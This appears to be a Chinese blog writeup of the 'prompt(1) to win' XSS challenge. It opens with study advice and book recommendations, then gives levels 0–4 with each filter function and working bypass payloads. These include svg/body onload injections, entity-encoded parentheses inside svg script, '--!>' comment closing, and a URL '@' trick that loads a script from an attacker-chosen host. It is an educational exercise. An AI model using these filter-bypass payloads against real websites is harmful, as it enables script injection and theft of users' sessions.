XSS

prompt(1) to win writeup

先说说关于XSS的想法。学习一种技能,不管是SQL注入还是XSS,都比必须要知己知彼,要去了解前置知识。而XSS的前置知识:HTML、CSS、JavaScript等,这些知识在初学时都可以知识去了解,让自己能够看得懂代码。当你学到一定程度后,若想在此深造,那么前置知识才是最重要的,学习路线可以这样:去一些网站上学习HTML、CSS的相关知识,然后去看JavaScript的书籍。(我推荐《JavaScript DOM 编程艺术》),等你对网站如何运行有一个大致知识后,你可以尝试开始学习XSS了,学习时最好是跟着一本书走(这里我推荐《XSS 跨站脚本攻击剖析与防御》、《Web前端黑客技术揭密》这两本可以结合看),等到将一本书大致走完,你就会对XSS形成一个主观上的认识,这时可以开始刷一些题了。而今天我要写的便是关于http://prompt.ml/0

    Rules:
    Call prompt(1) to win!
    Run the payload without user interaction
    The payload must render in at least one of these browsers:
    Chrome (Latest version)
    Firefox (Latest version)
    Internet Explorer 10 or newer versions (in IE10 compatibility view)
    Each level has solutions for at least two browsers
    The shorter the payload the better it is!

  1. LEVEL 0
    function escape(input) {
        // warm up
        // script should be executed without user interaction
        return '<input type="text" value="' + input + '">';
    }

    第0关没有任何过滤,所以只需要闭合标签

    "><script>prompt(1)</script>
    //或者
    "><body/onload=prompt(1)>
    //或者
    "><svg/onload=prompt(1)>
    
  2. LEVEL 1
    function escape(input) {
        // tags stripping mechanism from ExtJS library
        // Ext.util.Format.stripTags
        var stripTagsRE = /<\/?[^>]+>/gi;
        input = input.replace(stripTagsRE, '');
    
        return '<article>' + input + '</article>';
    }    
    

    这关主要过滤了<>,但是我们可以用注释符号或者空格

    <svg/onload=prompt(1)//
    //或者
    <body/onload=prompt(1)//
    
  3. LEVEL 2
    function escape(input) {
        //                      v-- frowny face
        input = input.replace(/[=(]/g, '');
    
        // ok seriously, disallows equal signs and open parenthesis
        return input;
    }      
    

    过滤了=、(,做这道题我们可以先看看如下代码:

    <svg><script>alert&#40;1)</script>/*可以成功弹窗*/
    <script>alert&#;1)</script>/*不能弹窗*/
    <svg><script>alert\u0028;1)</script>/*不能成功弹窗*/
    

    为什么呢?
    这是由于解析模式不同造成的。svg继承于XML而不是HTML,其解析的方式与script标签解析的方式是不同的,简单来说script属于Raw text elements,其解析规则:

    • `<`,`&#x28`,\u0028等不会解析为实体字符`<`,`(`

    svg标签只有两种解析方式:

    所以这道题答案可以用`&#x28`绕过(

    <svg><script>prompt&#x28;1)</script>
    
  4. LEVEL 3

    function escape(input) {
        // filter potential comment end delimiters
        input = input.replace(/->/g, '_');
    
        // comment the input to avoid script execution
        return '<!-- ' + input + ' -->';
    }        
    //这道题涉及到一个小技巧,一般人只知道-->可以闭合注释,而--!>同样可以闭合注释。
    --!><svg/onload=prompt(1)
  5. LEVEL 4

    function escape(input) {
        // make sure the script belongs to own site
        // sample script: http://prompt.ml/js/test.js
        if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
            var script = document.createElement('script');
            script.src = input;
            return script.outerHTML;
        } else {
            return 'Invalid resource.';
        }
    }
    

    这道题涉及到浏览器的一个特性,在浏览器中输入

    www.google.com@www.baidu.com//可以由google跳到百度
    www.google.com/@www.baidu.com//是不可以的
    www.google.com%2f@www.baidu.com//可以到百度
    

    由于decodeURIComponent() 可以将%2f转换为/,所以这道题我们可以这样:

    //prompt.ml%2f@your host/x.js

留言

您的电子邮箱地址不会被公开。 必填项已用*标注